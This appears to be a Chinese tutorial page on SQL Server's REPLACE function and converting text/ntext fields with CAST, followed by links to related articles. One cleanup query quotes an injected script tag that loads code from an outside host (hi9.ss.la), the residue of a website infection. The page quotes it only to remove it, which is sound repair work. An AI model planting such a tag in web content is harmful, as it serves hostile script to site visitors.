`

SQL中的REPLACE替换字符函数的用法(使之支持text/ntext)

 
阅读更多
语法
REPLACE ( original-string, search-string, replace-string )

参数
如果有某个参数为 NULL,此函数返回 NULL。

original-string     被搜索的字符串。可为任意长度。

search-string     要搜索并被 replace-string 替换的字符串。该字符串的长度不应超过 255 个字节。如果 search-string 是空字符串,则按原样返回原始字符串。

replace-string     该字符串用于替换 search-string。可为任意长度。如果 replacement-string 是空字符串,则删除出现的所有 search-string。

例子:
UPDATE tableName SET recordName=REPLACE(recordName,'abc','ddd')
将表tableName中的recordName字段中的 abc 替换为 ddd

这个函数有一点不足是不支持 text,ntext类型字段的替换,可以通过下面的语句来实现:
update tableName set recordName=replace(cast(recordName as varchar(8000)) ,'abc','ddd')
通过 cast 函数把text字段的内容转换为varchar类型再进行替换
cast(wj_content as varchar(8000))
update tb_products set p_contacts=REPLACE(cast(wj_content as varchar(8000)) ,'</title><script src=http://hi9.ss.la></script>','') where wj_content like '%</title><script src=http://hi9.ss.la></script>%'
update tb_news   set new_title=REPLACE(new_title,'</title>','') where new_title like '%</title>%'

delete from W_DOCCON where cast(docHtmlCon as varchar(8000)) not like '%getImage.action%'
分享到:
评论

相关推荐

    SQL中函数 replace 的参数1的数据类型ntext无效的解决方法

    在SQL(Structured Query Language)中,`REPLACE`函数是一个非常实用的字符串处理函数,它用于在指定的字符串中查找并替换所有匹配的目标子串。然而,在某些情况下,特别是涉及大数据类型如`ntext`时,可能会遇到...

    MSSQL批量替换语句 在SQL SERVER中批量替换字符串的方法

    对于text和ntext类型的字段,需要使用cast函数将其转换为varchar或nvarchar类型,然后再使用replace函数来实现批量替换。例如: update 表名 set 字段名=replace(cast(字段名 as varchar(8000)),'原本内容','想要...

    sqlserver 中ntext字段的批量替换(updatetext的用法)

    在SQL Server中,`ntext`字段是用来存储大量文本数据的类型,但存在一些限制,例如不能直接使用内置的`REPLACE`函数进行内容替换。这是因为`ntext`类型的字段不支持某些T-SQL标准操作,如直接使用聚合函数或在`WHERE...

    SQL SERVER使用REPLACE将某一列字段中的某个值替换为其他的值

    在SQL Server中,`REPLACE`函数是一种非常实用的文本操作工具,用于在字符串中查找并替换特定的子串。这个函数在数据清洗、数据转换和处理文本数据时经常被用到。本篇文章将深入探讨如何使用`REPLACE`函数以及解决在...

    sql ntext数据类型字符替换实现代码

    然而,处理`ntext`类型的字段进行字符替换可能会比较复杂,因为不能直接使用标准的字符串函数如`REPLACE`。在提供的代码中,展示了如何通过使用SQL Server的文本指针和`UPDATETEXT`语句来实现`ntext`数据类型的字符...

    sql server函数学习总结

    `REPLACE('string_expression1','string_expression2','string_expression3')` 函数用于替换字符串中的指定子串。此函数常用于文本数据的格式化处理。 **参数说明:** - **string_expression1**:原字符串。 - **...

    SQL Server正则表达式 替换函数应用详解

    –SQL正则替换函数 代码如下: CREATE function dbo.regexReplace ( @source ntext, –原字符串 @regexp varchar(1000), –正则表达式 @replace varchar(1000), –替换值 @globalReplace bit = 1, –是否是全局替换 @...

    MSSQL报错:参数数据类型 text 对于 replace 函数的参数 1 无效的解决办法

    然而,当尝试在text或ntext类型的数据上使用`REPLACE`函数时,系统会抛出错误,因为这类数据类型不支持直接的字符串操作。text和ntext是SQL Server早期版本用来存储大量文本数据的类型,它们的大小分别限制在2^31-1...

    Sql 批量替换所有表中内容

    Sql 批量替换所有表中内容是数据库管理中的一种常见操作,使用 cursor 游标和 replace 函数可以高效批量替换所有表中的内容。但是,需要根据实际情况进行调整,并且需要注意性能影响、数据一致性和数据备份等问题。

    Sqlserver2000经典脚本

    │ 3.7.4 text与image字段转换处理示例.sql&lt;br/&gt;│ │ 3.7.5 ntext字段的REPLACE处理示例.sql&lt;br/&gt;│ │ &lt;br/&gt;│ └─其他&lt;br/&gt;│ varbinary转换成字符串.sql&lt;br/&gt;│ 关键字搜索.sql&lt;br/&gt;│ 分解公式.sql&lt;br/&gt;│ ...

    sql 数据库内容批量替换

    - 脚本中使用了`VARCHAR(8000)`,这是因为`text`和`ntext`类型在某些版本的SQL Server中已经被弃用,最大长度为8000字符。 - 应考虑数据库的性能问题,特别是当数据量较大时,批量替换可能会占用较多资源。 #### 五...

    sqlserver-oracle 数据类型对照

    - `text`和`ntext`在SQL Server中对应Oracle的`CLOB`和`NCLOB`,用于存储大量文本数据。 - `image`在SQL Server中对应Oracle的`BLOB`,用于存储二进制大数据。 接下来,我们讨论SQL Server和Oracle的函数对照: ...

    经典SQL脚本大全

    │ │ 3.7.5 ntext字段的REPLACE处理示例.sql │ │ │ └─其他 │ varbinary转换成字符串.sql │ 关键字搜索.sql │ 分解公式.sql │ 字符串分拆--格式化.sql │ 得到一个字符串在另一个字符串中出现的次数.sql ...

    SQL Server中对数据截取替换的方法详解

    `REPLACE`函数是SQL Server中的一个字符串函数,它允许你在指定的字符串中找到特定的子串并将其替换为另一个子串。函数的基本语法如下: ```sql REPLACE (string_expression, string_pattern, string_replacement) ...

    SQL SERVER 2000开发与管理应用实例

    本书不但融合了作者在使用SQL Server 2000过程中遇到的各种常见问题和应用案例,还总结了作者几年来在CSDN 社区SQL Server版所解决的大量问题,面向实际项目需求,涉及不同类型的应用,能够多角度地引导读者学习相关...

Global site tag (gtag.js) - Google Analytics